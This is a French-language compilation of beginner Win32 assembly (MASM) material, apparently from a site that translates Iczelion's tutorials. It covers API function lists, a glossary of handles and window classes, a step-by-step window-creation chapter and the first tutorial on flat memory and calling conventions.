WaitForDebugEvent 	 	Attend un Debugging-événement ne se produise.
WriteProcessMemory 	 	Écrit dans la mémoire d'un autre programme.

CONTEXT
CREATE_PROCESS_DEBUG_INFO
CREATE_THREAD_DEBUG_INFO
DEBUG_EVENT
EXCEPTION_DEBUG_INFO
EXIT_PROCESS_DEBUG_INFO
EXIT_THREAD_DEBUG_INFO
LDT_ENTRY
LOAD_DLL_DEBUG_INFO
OUTPUT_DEBUG_STRING_INFO
RIP_INFO
UNLOAD_DLL_DEBUG_INFO


 COMMON DIALOG BOX

ChooseColor 	 	 Crée une DialogBox de choix de couleurs.
ChooseFont 	 	 Crée une DialogBox de choix de fonte. (type d'écriture).
CommDlgExtendedError 	 Retrouve les erreurs retournées par chacune de ces Box.
FindText 	 	 Crée la DialogBox 'Trouver le texte : ... '
GetFileTitle		 Retrouve le nom d'un fichier.
GetOpenFileName 	 Crée la DialogBox : 'Ouverture du fichier : ... '
GetSaveFileName 	 Crée la DialogBox : 'Sauvegarder-Sous : ... '
PrintDlg 	 	 Crée une DialogBox 'Imprimer'
ReplaceText 	 	 Crée une DialogBox 'Remplacer le texte par : ... '

CHOOSECOLOR		 Voir les Couleurs
CHOOSEFONT
FINDREPLACE
OPENFILENAME


 BOUTONS

CheckDlgButton		Modifie l'état d'un checkmark associé à un bouton d'une DialogBox.
CheckRadioButton	Pose un checkmark sur un bouton-radio ou l'enlève.
IsDlgButtonChecked	Détermine l'état d'un bouton (d'un Control de type button).


Win32 Assembly : Masm

simtel,windows 98, windows 95, dos, freeware, shareware, software
Version 3.0
 free software, downloads, utilities, download, free downloads, free programs
- Le Principe Général
- Assembler une DLL
- Aide
Google
Translate Iczelion's
site into

- Traduction Fançaise des Cours d'Iczelion

Tut1 : Les Bases
Tut2 : Les boîtes de message. (MessageBox)
Tut3 : Les boîtes de dialogue. (DialogBox)
Tut4 : Dessiner du texte. (Painting with Text)
Tut5 : Encore plus à propos des textes.(Taille, police...)
Tut6 : Les entrées clavier. (Saisie de texte)
Tut7 : Le contrôle de la Souris.
Tut8 : Le menu.
Tut9 : Child Window Controls.
Tut10 : DialogBox comme Fenêtre Principale.
Tut11 : Encore plus à propos des DialogBox.
Tut12 : Gestion de la mémoire et des fichiers d'entrée-sortie.
Tut13 : Fichiers Mappés en Mémoire. (File Mapping)
Tut14 : Process.
Tut15 : Programmation Multi-Liens. (Multi-Thread)
Tut16 : Event Object.
Tut17 : Les DLL ou Bibliothèques de Liaison, Dynamiques.
Tut18 : Les Controls Communs (Common Controls).
Tut19 : Dossiers organisés sous la forme d'un arbre.
Tut20 : Les Sousclassifications de Fenêtre.
Tut21 : Le Pipe.
Tut22 : Superclassification.
Tut23 : Icône de Barre de Tâches.
Tut24 : Windows Hooks.
Tut25 : Un Simple Bitmap.
Tut26 : Splash Screen.
Tut27 : Les Bulles d'Information (Tooltip Control).
Tut28 : Win32 Debug API Partie 1/3.
Tut29 : Win32 Debug API Partie 2/3.
Tut30 : Win32 Debug API Partie 3/3.
Tut31 : Fichiers organisés sous la forme d'une liste.
Tut32 : L'Interface : Documents Multiples (MDI).
Tut33 : RichEdit Control: Les Bases.
Tut34 : RichEdit Control: Encore plus d' opérations sur le texte.
Tut35 : RichEdit Control: Coloration Syntaxique.

[Iczelion's Win32 Assembly Homepage]
Copyright © 2003.


Vocabulaire

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

ASSEMBLAGE (Phase d') : Il s'agit en fait de savoir comment créer un programme à partir d'un fichier texte nommé *.asm
Voilà, vous avez un fichier nommé : ESSAI.ASM
Certains auront en plus un fichier de resource:
- il peut prendre le même nom que son fichier ESSAI.RC
- Ou bien un nom défini par défaut RSRC.RC

Ces deux fichiers (ou bien seulement ESSAI.ASM si il n'a pas de ressources) doivent êtres placés dans un dossier où se trouvent aussi les fichiers suivants:
- ML.exe
- RC.exe (+Rcdll.dll)
- LINK.exe (+Mspdb50.dll)

ensuite il suffit d'écrire sous dos:
C:\......\ml /c /coff /Cp ESSAI.ASM
C:\......\rc ESSAI.RC (ou bien : rc RSRC.RC)
C:\......\link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib ESSAI.obj ESSAI.res
(ou bien RSRC.res) Attention à ce 'c', si vous avez installés masm32 sur d: devinez ce que vous devez faire.

Pour vous aider, j'ai automatisé tout ça dans un petit programme en *.bat qui s'appelle 'Assemble_le.bat'. Il s'occupera de tout pour vous, à cette condition près: Vous installez masm32 sur c: et créer votre sous dossier spécial assemblage (peu importe son nom) sous masm32. Ce qui pour moi donne c:\masm32\_essai\ Dans ce dossier vous devez forcément mettre ml, rc, link, Cvtres et les deux dll. Placez y aussi Assemble_le.bat et votre fichier à assembler sous le nom unique de essai.asm, si vous avez un fichier de ressource en plus il doit aussi s'y trouver et s'appelé essai.rc ou rsrc.rc.

Le même processus peut être entrepris pour ASSEMBLER UNE DLL.

CHILD WINDOW :
Voir 'Control'.

Classe de fenêtre
Voir 'Window Class'

COMMAND LINE
Le paramètre lpCmdLine est un pointeur vers la ligne de commande ayant executé l'application (du style "c:\monapp.exe /v"), ce qui est utile pour récupérer des paramètres en ligne de commande. Vous obtiendrez ce pointeur en appelant la fonction GetCommandLineA.
(info pêchée dans un Tut sur Nasm d'X-or)

Control
Control n'est pas une traduction du mot français Contrôle, rien à voir. Un Control est un objet. Par exemple vous avez créé votre fenêtre principale, si vous y ajoutez une boite de saisie de texte, des boutons, une barre de scrolling verticale et horizontale (pour faire défiler un texte plus grand qu'une page), tout ça sont des 'Controls' ou bien des 'Child Window'. D'ailleurs, dans certains tuts vous trouverez: 'Child Window Controls'. Donc quand on parle d'un 'Child Window' ou une 'Fenêtre Enfant' ce n'est pas une fenêtre comme on l'entend de la même manière que notre fenêtre principale mais c'est un objet quelconque un 'Control' qui est commandé par une vraie fenêtre ou bien même un autre Control mais de plus haute autorité. Comme la 'fenêtre principale' est dite 'la fenêtre parente' de tous les sous objets tels que les boutons qui la composent... qui sont ses objets enfants ou ses 'Child Window'

handle
Sachez qu'un handle est une sorte d'index dans un tableau contenant des caractèristiques. Ici windows tient un tableau d'info sur le programme et notre numéro d'handle lui permet de savoir ou regarder dans son tableau pour avoir le numéro qu'on lui donne.
(info pêchée dans un Tut sur Nasm d'X-or)

Chaque objet possède son propre et unique Handle, la fenêtre principale ses fenêtres enfants, les boutons les boîtes d'édition...etc. Un Handle, c'est le n° qui sert à faire appel à un objet. Un programme se sert des handles pour savoir comment sont liés les objets les uns par rapport aux autres. Par exemple une fenêtre pincipale portant le Handle=0054 ouvre une MessageBox qui aura comme dernier paramètre 0054 qui représente le handle de son parent. Ainsi on sait a qui appartient cette MessageBox.
Si on a récupéré du texte dans un Buffer (un espace de mémoire pour stocker des infos) et qu'on souhaite envoyer ce texte vers un receveur, par exemple une boîte d'édition, une fenêtre fille, ou un bouton ou la fenêtre principale, Alors on doit envoyer ce texte vers le Handle du bouton pour que le texte de ce bouton soit remplacé par le nouveau. Sans Handle, ce texte n'aurait pas su à quel objet il était destiné.

hInstance
Le paramètre hInstance est un nombre identifiant le programme en cours d'execution. hInstance signifie 'handle Instance', sachez qu'un handle est une sorte d'index dans un tableau contenant des caractèristiques. Ici windows tient un tableau d'info sur le programme et notre numéro d'handle lui permet de savoir ou regarder dans son tableau pour avoir le numéro qu'on lui donne. Vous pouvez l'obtenir en appelant la fonction GetModuleHandleA qui renvoie l'Handle (nb) correspondant à la tache en cours. Notez que sous win32, Handle=hInstance.
(info pêchée dans un Tut sur Nasm d'X-or)

HUTCH : Le hutch est l'ensemble des fichiers *.inc . Tous les fichiers INCLUDE font parti du hutch.

-------------------------------------------------------
| THE HUTCH |
| |
| |--------------------------------------------| |
| | Fichier INCLUDE n°1 (extension *.inc) | |
| |--------------------------------------------| |
| |
| |--------------------------------------------| |
| | Fichier INCLUDE n°2, n°3, n°4, n°...etc | |
| |--------------------------------------------| |
| |
| |
| |--------------------------------------------| |
| | Windows.inc est aussi un fichier | |
| | INCLUDE (c'est le principal fichier du hutch) | |
| |--------------------------------------------| |
| |
-------------------------------------------------------

MOT : (Le mot de poids faible ou de poids fort)
Par exemple si LParam est une variable de 32 bit (un DWord)
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
et qu'on rempli le mot (the Word donc 16 bit) de poids fort de LParam on aura ça:
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Si au contraire on avait rempli le mot de poids faible de LParam on aurait eu ceci:
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

En fait, quand on change la valeur du mot de poids fort de LParam, on ne met pas que des 1 mais une suite de 1 et de 0, mais surtout ça signifie qu'on ne touche en aucun cas à sa partie basse. Et inversement.

PROCEDURE (de fenêtre, de messages, de debugging<-- j'arrive pas à traduire ça) :
La 'procédure de fenêtre' est la procédure principale de notre programme. En fait, c'est un bout de code qui forme une boucle sur lui-même et qui s'occupe d'afficher tous les éléments à l'intérieur de notre fenêtre (il gère les boutons...)
La 'procédure de messages' c'est en fait aussi la même chose mais en plus, on fait en sorte qu'elle s'occupe de traiter des messages quand l'un d'eux lui parvient. Ex: Si on clique sur le bouton, elle le détecte et on peut utiliser cette information.
La 'procédure de debugging' c'est encore pareil, c'est une procédure de messages quelconque à ceci prêt que les seuls messages qui nous intéressent dans ce cas sont des messages provoqués par des événement qui sont spécifiques à tous ce qui touche le débogage. (Genre : Ouverture d'un nouveau lien, création d'un process, lire ou écrire dans un octet d'un autre programme...etc)

PROTOTYPE DE FONCTION : Le prototype d'une fonction n'est en aucun cas une instruction du language Assembleur. ça n'a rien à voir avec des instructions comme 'Mov', 'Push', 'Call'... c'est simplement une notice pour qu'on sache comment utiliser une fonction. Mais jamais on écrira un prototype de fonction dans le programme lui-même.
Exemple: Le 'Prototype de Fonction' de 'ExitProcess' est ExitProcess proto uExitCode:DWORD. ce qui signifie que la fonction ExitProcess s'utilise avec une seule valeur de type Dword. D'après ce qu'on vient d'appendre de son prototype de fonction juste au-dessus, vous devrez écrire dans votre programme un truc dans le genre :
invoke ExitProcess, 0 (Si vous faites appelle à un fichier INCLUDE)
Ou bien:
Push 0 (Si vous ne faites pas appelle à un fichier INCLUDE)
Call ExitProcess (ça, c'est de l'assembleur tout ce qu'il y a de plus classique)

WINDOW CLASS :
Une classe de fenetre est une structure WNDCLASSEX (EX pour extended, vous pouvez utiliser la structure WNDCLASS mais elle propose moins d'options) contenant toutes les informations concernant la fenetre : sa taille, ses attributs, la fonction chargée de gérer les messages qui lui sont envoyés, etc... Vous commencez donc par la remplir.
Ensuite, vous l'enregistrez avec la fonction RegisterClassExA (respectivement RegisterClass), vous créez la fenetre avec la fonction CreateWindowExA, vous l'affichez avec la fonction ShowWindow et vous rentrez dans la boucle des messages. Cette dernière est arrêtée par l'envoi d'un message de fermeture à l'application. Le rôle de cette boucle est de demander à windows de lui envoyer un message de la liste d'attente (par la fonction GetMessageA), de le traduire (par la fonction TranslateMessage qui par exemple traduit les scan codes du clavier en codes ASCII) et de l'envoyer à la fenetre de l'application à laquelle elle est destinée (par la fonction DispatchMessageA).
(info pêchée dans un Tut sur Nasm d'X-or)


Tutorial Window

- Chap.1: Création d'une fenêtre -

Ce chapitre risque de vous rebuter quelque peu, mais il faut savoir qu'en fait, il est le plus difficile à assimiler. Cependant je vais vous faciliter la tâche. En effet seront présentées ici des fonctions comportant parfois une douzaine d'arguments. Je prendrai alors le parti suivant: celui de ne pas documenter les arguments qui servent rarement. Si le coeur vous en dit, vous pourrez toujours vous y intéresser à travers la documentation Microsoft.

De même, il faut savoir que le squelette présenté ici sert quasiment pour 90 % des applications. Il semble donc plutôt évident que s'en servir comme base d'un programme est la meilleure façon de commencer un projet.

- 1.1: Fonctionnement d'une application -

Avant toute chose, il faut connaître la manière dont se comporte une application Windows. Celle-ci est identifiée par une variable nommée "variable d'instance". Le type donné par Windows est HINSTANCE. Nous pourrons par exemple déclarer une variable d'instance par :

  hInstance HINSTANCE ?

Où 'hInstance' est le nom qu'on aurra choisi pour identifié cet instance plus tard, alors que 'HINSTANCE' est le type de cette variable. On peut donc choisir un autre nom que 'hInstance'. Tel que:
hInstanceProgPrincipal HINSTANCE ?

Une application est composée d'une fenêtre principale, laquelle contient des fenêtre filles, lesquelles peuvent elles-même contenir des fenêtres filles, etc ... La dépendance mère/fille se matérialise par la propagation de la prise de focus, de la destruction des fenêtres filles quand la fenêtre mère est détruite, etc ... (il serait en effet bizarre par exemple que Notepad soit quitté et que le contrôle d'édition de texte reste flottant). Chacune de ces fenêtres sont-elles aussi identifiées par une variable nommée "handle". Le type donné par Windows est HWND. Nous pourons par exemple récupérer le handle d'une fenêtre à l'aide d'une variable déclarée comme suit :

  LOCAL hwnd:HWND

Ici encore c'est bien 'hwnd' qui est la variable alors que 'HWND' est le type de variable. Ici on déclara donc la variable 'hwnd' (qu'on aurait pu appeler 'HandleFenetrePrincipale' par exemple) en tant que variable de type: handle. On aurrait donc tout aussi bien pu mettre,
LOCAL HandleFenetrePrincipale:HWND

Voilà tout pour la manière dont Windows identifie tout son beau monde. Plus tard nous apprendrons que Windows identifie le reste de son environnement à l'aide de contexte de périphérique (imprimante, clavier, affichage zone écran, etc ...).

C'est bien beau de savoir comment Windows identifie les fenêtres, mais comment permettre à l'application de dialoguer avec l'OS et les autres fenêtres ? Et bien tout simplement à l'aide d'envoi de messages. Ceux-ci sont destinés soit à Windows, soit à une autre fenêtre. Toute fenêtre a alors un comportement défini face à la réception de ceux-ci.
Par exemple, prenons une fenêtre texte d'handle hWndText affichant le résultat d'une compilation. Celui-ci devient visible par clik sur un bouton "Afficher Resultat" d'handle hWndButton. Il faut donc que lorqu'un clik se produise sur le bouton, un message soit envoyé à la fenêtre texte pour qu'elle affiche le résultat ! Ces envois se font à l'aide de la fonction SendMessage() que nous détaillerons plus loin. Pour info, nous aurons dans notre cas :

  invoke SendMessage, hWndText, WM_SETTEXT,IDM_GETTEXT,0

Reste à savoir que nombre de messages sont générés par Windows lui-même, ou situés dans le code des contrôle communs comme le simple clik d'un bouton qui envoi le message WM_CLICK.

- 1.2: Inclusions et prototypes -

Première chose à savoir, les inclusions nécessaires. Déclarez toujours 'windows.inc'. Par contre vous n'aurez besoin de déclarer 'user32.inc' uniquement si vous faites appel à une de ses fonctions API (tel que SetMessage...) c'est la même chose pour Kernel (ex: ExitProcess) et les autres...

  include \masm32\include\windows.inc

  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib
  ...

C'est quand même beau la vie ! Vous avez alors à disposition tout le nécessaire pour programmer. Bien qu'il soit possible d'utiliser les fonctions C-ANSI, il est préférable de s'adapter à Windows, à l'aide des fonctions propres à Windows (comme "lstrcmp()" au lieu de "strcmp()", ou encore "GlobalAlloc(GPTR, ...)" au lieu de "malloc(...)").

Ensuite le prototype principal. Pas de "int main(int argc, char **argv);", mais celui-ci :

  WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

Où HINSTANCE, LPSTR, et DWORD représentent les types de ces données.
hInst et hPrevInst seront dont deux handles d'instances
CmdLine sera donc une chaîne de caractères (du texte en fait)
et CndShow un nombre de dimension DWORD donc sur 32bit (4 octets)

Voici le détail des arguments passés par windows au lancement de l'application :

- hInst : la variable d'instance de l'application (Windows nous le donne gentillement)
- hPrevInst : c'est rigolo, çà sert à rien en fait :) (toujours 0)
- CmdLine : Une chaine représentant les arguments en ligne (utile pour récupérer le nom d'un fichier lors d'un double-clik sur celui-ci lorsque son extension est associée à notre programme).
- cmdShow : La manière dont notre application doit être affichée (minimisée, normale, agrandie ...)

Il est utile de récupérer la variable d'instance. Notre programme basé sur nos connaissances actuelles a donc cette forme :

  ...
  ...
  ...
  include \masm32\include\windows.inc

  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib

  WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

  .DATA
   ...
   ...

  .DATA?
  hInstance HINSTANCE ?
  CommandLine LPSTR ?
   ...
   ...

  .CODE
   ...
   ...
   ...
  invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
   ...
   ...

- 1.3: Classes de fenêtres -

Nous allons maintenant créer notre fenêtre. Une fenêtre est un objet, et comme tout objet (pour peu que vous connaissiez la programmation objet), celui-ci est instancié à partir d'une classe. Pour ceux qui ne maitrisent pas ce genre de concept, il s'agit en fait d'un "moule" à partir duquel notre fenêtre saura prendre forme (si vous êtes rebutez, partez du principe qu'une classe est une sorte de structure dont les valeurs définnisent la "forme" des objets qui s'y réfèrent).
Pour cela nous vient en aide une classe de fenêtre. Il nous faut donc initialiser certaines de ses variables (je réserve le terme de "propriété" aux experts). Il est préférable de le faire à l'aide d'une fonction pour la lisibilité du code. Sachez, avant la présentation du programme, que le type "classe de fenêtre" sous Windows est WNDCLASS.

Voici notre fonction d'initialisation d'une classe de fenêtre :

 WNDCLASSEX STRUCT DWORD
  cbSize            DWORD      ?	   ;size = SIZEOF WNDCLASSEX
  style             DWORD      ?	   ;style = 0 ou CS_HREDRAW
  lpfnWndProc       DWORD      ?	   ;lpfnWndProc = WindowProcedure (OFFSET WndProc)
  cbClsExtra        DWORD      ?	   ;cbClsExtra = 0
  cbWndExtra        DWORD      ?	   ;cbWndExtra = 0
  hInstance         DWORD      ?	   ;hInstance = hInst
  hIcon             DWORD      ?	   ;hIcon = invoke LoadIcon....
  hCursor           DWORD      ?	   ;hCursor = invoke LoadCursor....
  hbrBackground     DWORD      ?	   ;hbrBackground = COLOR_3DFACE +  1
  lpszMenuName      DWORD      ?	   ;lpszMenuName = 0
  lpszClassName     DWORD      ?	   ;lpszClassName = MonNomDeClasse
  hIconSm           DWORD      ?	   ;hIconSm = NULL
 WNDCLASSEX ENDS

Voici le détail des champs que nous modifions :

- style : le style de notre fenêtre. Positionnez à zéro.
- lpfnWndProc : il s'agit ici de passer le nom d'une fonction très utile, celle qui va gérer la réception des évènements !!! J'en présente une de base à la fin de ce chapitre.
- cbClsExtra et cbWndExtra : servent à l'allocation d'octets supplémentaires. Mettez à zéro.
- hInstance : Fournir l'instance de l'application.
- hCursor : Quel pointeur voulez-vous ? ben celui par défaut ! Cool, la fonction LoadCursor() nour le permet !
- hbrBackground : Si on ne modifie pas ce champou qu'on met (COLOR_WINDOW + 1), le fond de notre fenêtre sera blanc. Ici, on affecte la couleur système de fond de fenêtre.(COLOR_3DFACE + 1)
- lpszMenuName : Mettez zéro. On préfèrera placer un menu d'une autre manière.
- lpszClassName : Le nom que vous donnez à la classe. Préférez utiliser une variable globale de pointeur sur char, le nom de la classe sera réutiliser.
- hIcon : Nous chargerons ici une icône dans le 2ème chapitre.

Ainsi, notre WinMain() s'étoffe :

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    {
        Structure WNDCLASS wndClass	; pour initialiser la Window Class
        hInst = hInstance  		; en retour
        invoke RegisterClassEx, addr wc ; Pour enregistrer cette classe

    }

Nous avons une instance d'application et une classe de fenêtre bien définie, ce n'est pas si mal ! C'est même dejà beaucoup !!!

- 1.4: Phase de création principale -

En effet, tout va maintenant très vite ! Il nous reste à créer notre fenêtre à l'aide de CreateWindow(), qui retourne le handle de la fenêtre créée (lequel doit être récupéré dans une variable globale). Voici comment cela se passe :

  HWND hWnd;

  WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    {
        Structure WNDCLASS wndClass	; pour initialiser la Window Class
        hInst = hInstance  		; en retour
        invoke RegisterClassEx, addr wc ; Pour enregistrer cette classe

        invoke CreateWindowEx("MonNomDeClasse",	  	 	  ; Structure
                             // le nom de la classe de fenêtre	  ; CreateWindow
                        "Programmation API Win32",
                             // le titre de la fenêtre
                        WS_OVERLAPPEDWINDOW,
                             // le style de la fenêtre
                        CW_USEDEFAULT, CW_USEDEFAULT,
                             // ses positions x et y au début
                        300, 200,
                             // la taille dx et dy de la fenêtre
                        NULL,
                             // le handle de sa fenêtre parent
                        NULL,
                             // réservé au chargement d'un menu
                        hInst,
                             // l'instance de l'appli
                        NULL
                             // mettre toujours à NULL
                       );

        invoke ShowWindow, hwnd,CmdShow		; on affichee notre fenêtre
    }

Rien de bien compliqué je pense. Sinon, regardez ce que dit la doc Microsoft sur cette fonction. Pour les styles de fenêtres, ils sont innombrables. Ils se combinent à l'aide de l'opérateur OR. En général WS_OVERLAPPEDWINDOW convient dans la plupart des cas. Sinon, voici une liste peu exhaustive (le site proposera par la suite un ensemble de références plus consistant) :

- WS_BORDER : crée une fenêtre avec bordure.
- WS_CAPTION : crée une fenêtre avec barre de titre.
- WS_OVERLAPPED : combine les 2 précédents.
- WS_SYSMENU : ajoute le menu système en haut à gauche dans la barre de titre.
- WS_THICKFRAME : Possibilité de changer la taille de la fenêtre à la souris.
- WS_MINIMIZEBOX : Bouton "réduire" en haut à droite.
- WS_MINIMIZEBOX : Bouton "agrandir" en haut à droite.
- WS_OVERLAPPEDWINDOW : Combinaison de tous les styles précédents.
- WS_MAXIMIZE : La fenêtre est créée avec la taille maximum.
- et bien d'autres encore ...

Pour le dernier paramètre, sachez qu'il sert à joindre une chaine de caractère au message WM_CREATE que recevra notre fenêtre lors de sa création. Personnellement, il faudra m'expliquer l'utilité de ce système.

- 1.5: Boucle évènementielle -

C'est bien beau, mais pour l'instant, notre programme quitte directement. En fait, il ne reçoit même pas les messages de l'OS. Pour cela, nous nous servons d'une boucle classique, que nous ne modifierons jamais :

  HWND hWnd;

  WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    {
        Structure WNDCLASS wndClass	; pour initialiser la Window Class
        hInst = hInstance  		; en retour
        invoke RegisterClassEx, addr wc ; Pour enregistrer cette classe
            Strucure CreateWindowEx	   		;pour initialiser la fenêtre
        invoke ShowWindow, hwnd,CmdShow		; on affichee notre fenêtre

    // on reçoit les messages en boucle à l'aide de GetMessage()
    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0	; // msg reçoit les messages
                .BREAK .IF (!eax)  			; // Sort de la boucle si eax=-1
                invoke TranslateMessage, ADDR msg 	; // on traduit le message reçu
                invoke DispatchMessage, ADDR msg 	; // et on l'envoie vers notre
                               ; procédure de gestion de msgs
   .ENDW

   mov     eax,msg.wParam		  		; // Retoune le code de sortie dans eax

    }
ret							; // on termine la procédure
WinMain endp  						; WinMain
    // on renvoie désormais le code d'arrêt contenu dans l'objet msg

Je crois ne pas pouvoir être plus explicite. C'est de toute façon une méthode standard. Inutile de s'intéresser ici à la composition de l'objet MSG, ou au fonctionnement exacte de la réception des messages. Pour plus de compléments, référez-vous à la documentation. Pour l'heure, nous nous contenterons de prendre la boucle telle qu'elle.

- 1.6: Fonctions évènementielles -

Je vous ai parlé d'une fonction évènementielle dans l'initialisation de la classe de fenêtre sans vraiment la définir. Celle-ci repond aussi à un prototype, et permet de lancer différents traitements selon le type de message reçu. La voici incluse dans la version finale de notre programme :

Tout WinMain

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY                           ; si l'utilisateur ferme notre fenêtre (parce qu'on vient de recevoir un message WM_DESTROY)...alors
        invoke PostQuitMessage,NULL             ; on quitte notre application
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam     ; Traitement par défaut de tous les autres messages qui ne nous intéressent pas.
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

  }

Le prototype d'une fonction évènementielle est toujours le même. Les arguments reçus sont :

- • hwnd : Le handle de la fenêtre concernée par le message
- • uMsg : La référence du message
- • wParam : le 1er paramètre du message
- • lParam : le second

Pour les différents messages reçus, je n'en ferai pas la liste ici. Nous aurons l'occasion de les rencontrer tout au long de ce tutorial (WM_CLOSE, WM_CREATE, WM_SIZE, WM_MOVE, etc ...). En ce qui concerne le traitement particulier réservé à WM_DESTROY, il permet de fermer l'application à l'aide de la fonction PostQuitMessage() (qui en fait envoie le message WM_QUIT à notre fenêtre (et oui, nombre de fonctions remplacent l'utilisation de SendMessage() pour faciliter la programmation)). En effet, WM_DESTROY est un message sans traitement par défaut qui est envoyé lors d'un clik sur la croix en haut à droite, ou lors du choix "quitter" dans le menu système en haut à gauche. Il nous faut donc notifier la fermeture de l'application nous même.


Iczelion's Win32asm tutorial part 1: The Basic

Tutorial 1 : les bases

Ce tutorial suppose que le lecteur sache comment employer MASM. Si vous n'êtes pas familiers avec MASM, téléchargez win32asm.exe et étudiez le texte à l'intérieur du ZIP avant la suite des Tutorials. Bon. Vous êtes maintenant prêts. On y va!

Théorie:

Les programmes Win32 fonctionnent en mode protégé depuis le 80286. Mais maintenant le 80286 c'est de l'histoire ancienne. Cest pourquoi nous nous intéresserons qu'au 80386 et à ses descendants. Windows dirigent chaque programme Win32 séparément. Ca signifie que chaque programme Win32 aura à sa disposition ses propres espaces de mémoire. Cependant, ça ne signifie pas que chaque programme win32 possède 4Go de mémoire physique, mais seulement que le programme peut adresser n'importe quelle adresse appertenant à cette gamme. Windows fera tout le nécessaire pour adresser les vraies références (physiques) du programme aux adresses (mémoires) valables 00401000… qu'il utilise. Bien sûr, le programme doit respecter les règles de Windows, autrement il provoquera une Erreur de Protection Générale, tant redoutée. Chaque programme est seul dans son espace d'adresses. C'est la différence avec les programmes Win16. Tous les programmes Win16 peuvent *malheureusement plus ou moins se chevaucher* les uns les l'autres. Mais pas sous Win32. Ces gardes fous réduisent la chance d'une écriture du code d'un programme par dessus les données d'un autre.
Le modèle de mémoire Win32 est également très différent du modèle des vieux jours du monde du 16 bits. Désormais, sous Win32, nous ne sommes plus concernés par le modèle de mémoire en plusieurs segments! (0001.xxxx puis 0002.xxxx puis 0003.xxxx ….) Il n'y a qu'un seul modèle de mémoire : le modèle de mémoire uniforme (Flat). Il n'y a plus de segments de plus 64Ko (différence *.com / *.exe). La mémoire est un unique espace continu. Ça veut dire aussi que vous n'avez plus besoin de jouer avec les différents registres concernant les segments [ES et SS]. Vous pouvez employer n'importe quel registre de segment pour adresser n'importe quel point dans l'espace de mémoire (ouf !). C'est une GRANDE aide pour les programmeurs. C'est ce qui fait de l'assembleur Win32 une programmation aussi facile que le C.
Quand vous programmez sous Win32, vous devez respecter quelques règles importantes. Une règle{*Majeure*} est que Windows emploie lui-même ESI, EDI, EBP et EBX et les valeurs de ses registres changent, en même temps qu'une autre application tourne en parallèle avec Windows. Rappelez-vous donc cette règle {*Primordiale*} d'abord : si vous utilisez l'un de ces quatre registres à l'intérieur d'une procédure, n'oubliez jamais de les reconstituer{*rétablir*} avant le contrôle de retour à Windows. L'exemple évident sont les Call qui appellent une API de Windows. Ca ne signifie pas que vous ne pouvez pas employer ces quatre registres, vous le pouvez. Mais seulement que vous devez rétablir ces registres après un call.

Contenu:

Voici le squelette de n'importe quel programme. Si vous ne comprenez pas quelques-uns des codes, ne paniquez pas. J'expliquerai chacun d'entre eux plus tard.

.386
.MODEL Flat, STDCALL
.DATA
<Vous initialisez les data>
......
.DATA?
<Vous initialisez les data>
......
.CONST
<Vous initialisez vos constantes>
......
.CODE
<label>
<Vous initialisez votre code(début du segment Code)>
.....
end <label>

C'est tout! On va analyser le squelette de ce programme.

.386
C'est une directive d'assembleur, disant à l'assembleur d'employer le jeu d'instructions du 80386. Vous pouvez aussi employer .486 .586 mais l'important c'est d'utiliser au minimum les fonctions à partir du .386. Il y a en réalité deux formes presque identiques pour chaque modèle de directive. .386/.386p.486/.486p. Ces versions "p" sont nécessaires seulement quand votre programme emploie des instructions privilégiées. Les instructions privilégiées sont des instructions réservées par le système du CPU / FONCTIONNEMENT en mode protégé. Elles peuvent seulement être employés par le code privilégié, comme les conducteurs de dispositif virtuels. La plupart du temps, votre programme travaillera en mode non-privilégié, c'est donc presque sûr que vous n'emploierez pas les versions -p.

.MODEL FLAT, STDCALL
.MODEL est une directive d'assembleur qui spécifie le type de mémoire de votre programme. Sous Win32, il y a seulement un type, le modèle FLAT (mémoire un en seul bloque).
STDCALL dit à MASM quel est l'ordre de passage des paramètres de la pile vers un Call. De " gauche à droite " ou " le droit à gauche " et aussi ça équilibrera l'encadrement de la pile après l'appel de la fonction.
Sous Win16, il y a deux types de convention d'appel, la convention C et le PASCAL
La convention C passe les paramètres de la pile de droit à gauche, c'est-à-dire le paramètre le plus à droite est le premier poussé. Et sûretout, c'est l'e programmeur qui est responsable du balancement de l'encadrement de pile après l'appel. Par exemple, pour appeler une fonction nommée foo (int first_param, int second_param, int third_param) dans la 'convention d'appel C', les codes d'asm ressembleront à cela :

push [3e_paramètre] ; Pousse le 3e paramètre sur la pile
push [2e_paramètre] ; Suivi par le second
push [1er_paramètre] ; Et du 1er
call Procédure_foo
add sp, 12 ; La fonction appelante équilibre le remplissage de la pile
la convention d'appel PASCAL est le contraire de la convention C. Elle passe les paramètres de la pile de gauche à droite et le Call est responsable de équilibre (de l'état) de la pile après l'appel.
Win16 adopte la convention PASCAL parce qu'il produit des codes plus petits. La convention C, est utile quand vous ne savez pas combien de paramètres on passera à la fonction comme dans le cas de wsprintf (). Dans le cas de wsprintf (), la fonction n'a aucune façon de déterminer à l'avance combien de paramètres seront préservés sur la pile, donc on ne peut pas déterminer l'état de la pile.
